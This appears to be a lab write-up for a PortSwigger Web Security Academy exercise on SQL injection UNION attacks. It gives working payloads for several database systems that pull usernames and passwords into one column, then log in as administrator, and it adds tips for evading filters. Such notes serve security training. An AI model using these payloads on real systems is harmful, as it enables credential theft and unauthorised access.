> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/sql-injection/union-attack-to-extract-multiple-values-in-one-column.md).

# UNION Attack to Extract Multiple Values in One Column

UNION Attack to Extract Multiple Values in One Column notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### SQL Injection UNION Attack, Retrieving Multiple Values in a Single Column

**Objective:** recover `username` and `password` concatenated in a single column and then authenticate in `administrator`.

#### (1) Quick Prerequisites

* Know the **number of columns** returned by the query (see `ORDER BY` / `UNION NULL` tests).
* Identify which output column(s) are returned in the response (visible constants).

#### 2) Example Payloads (depending on DBMS)

> Adjust the number of columns (`NULL`/constant) to match the vulnerable query.

* **Oracle / PostgreSQL (concat by `||`) — typical request 2 columns:**

```sql
' UNION SELECT NULL, username||':'||password FROM users-- -
```

* **MySQL (CONCAT) - 2 columns:**

```sql
' UNION SELECT NULL, CONCAT(username, ':', password) FROM users-- -
```

* **MSSQL (CONCAT or +) - 2 columns:**

```sql
' UNION SELECT NULL, CONCAT(username, ':', password) FROM users-- -
```

ou

```sql
' UNION SELECT NULL, username + ':' + password FROM users-- -
```

* **If the original request has 3 columns (e.g.):**

{% code overflow="wrap" %}

```sql
' UNION SELECT NULL, NULL, username||':'||password FROM users-- -    -- Oracle/Postgres
```

{% endcode %}

* **If types are incompatible** (UNION error): force conversion/casting:
  * PostgreSQL: `username::text`
  * MySQL: `CAST(username AS CHAR)`
  * Oracle: `TO_CHAR(username)`

#### 3) Concise Procedure

1. Determine `N` columns (`ORDER BY 1..N`).
2. Confirm `UNION SELECT` with `NULL`/constants.
3. Inject the concatenation payload adapted to the DBMS and the number of columns.
4. Find the `username:password` lines in the response.
5. Identify the `administrator:...` entry and use these credentials to log in to the authentication page.

#### 4) Practical Notes

* If passwords are hashed (e.g. bcrypt), direct use for login will fail; you will then need to crack the password if allowed or confirm that passwords are stored in cleartext (high security incident).
* If the application only displays one column, concatenation is the right approach; if it renders several columns, prefer `UNION SELECT username, password` for clarity.
* If `UNION` is filtered, try variations in spacing/comments or functions (`CONCAT`, `CHR`/`CHAR`) to bypass filters.


---

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